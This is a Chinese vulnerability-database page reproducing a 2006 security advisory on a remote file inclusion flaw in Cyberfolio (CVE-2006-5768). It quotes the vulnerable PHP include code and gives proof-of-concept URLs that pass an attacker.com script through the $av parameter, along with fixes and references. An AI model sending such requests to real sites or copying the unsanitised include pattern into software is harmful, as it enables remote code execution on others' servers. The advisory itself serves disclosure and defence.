Cyberfolio多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111484 漏洞类型 输入验证
发布时间 2006-11-06 更新时间 2006-11-09
CVE编号 CVE-2006-5768 CNNVD-ID CNNVD-200611-081
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2725
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-081
|漏洞详情
Cyberfolio中存在多个PHP远程文件包含漏洞,当系统启用register_globals时,远程攻击者可以通过传递给(1)msg/view.php,(2)msg/inc_message.php,(3)msg/inc_envoi.php和(4)admin/incl_voir_compet.php的av参数内的URL来执行任意PHP代码。
|漏洞EXP
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_58$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av  Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: November, 01nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv58-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Cyberfolio
version		: <=2.0 RC1
URL		: http://www.cyberfolio.org

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script view.php
--------------------------view.php-----------------------------------
....
<?
...
$newfic=$av."checkauth".$_SESSION[inlog].".php";
include("$newfic");
include_once($av."config.php");
include_once($av."connect.php");
...
----------------------------------------------------------

Input passed to the "$av" parameter in view.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

portfolio/msg/view.php
portfolio/msg/inc_message.php
portfolio/msg/inc_envoi.php
portfolio/admin/incl_voir_compet.php


Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?
http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Sanitize variable $av affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-11-06]
|参考资料

来源:XF
名称:cyberfolio-av-file-include(30033)
链接:http://xforce.iss.net/xforce/xfdb/30033
来源:BID
名称:20928
链接:http://www.securityfocus.com/bid/20928
来源:VUPEN
名称:ADV-2006-4360
链接:http://www.frsirt.com/english/advisories/2006/4360
来源:MISC
链接:http://translate.google.com/translate?hl=en&sl=fr&u=http://www.cyberfolio.org/
来源:SECUNIA
名称:22721
链接:http://secunia.com/advisories/22721
来源:MILW0RM
名称:2725
链接:http://milw0rm.com/exploits/2725
来源:MISC
链接:http://advisories.echo.or.id/adv/adv58-theday-2006.txt
来源:OSVDB
名称:30211
链接:http://www.osvdb.org/displayvuln.php?osvdb_id=30211
来源:OSVDB
名称:30212
链接:http://www.osvdb.org/30212
来源:SECTRACK
名称:1017175
链接:http://securitytracker.com/id?1017175
来源:BUGTRAQ
名称:20061106[ECHO_ADV_58_2006]Cyberfolio<=2.0RC1$avRemoteFileInclusion
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=116283724113571&w=2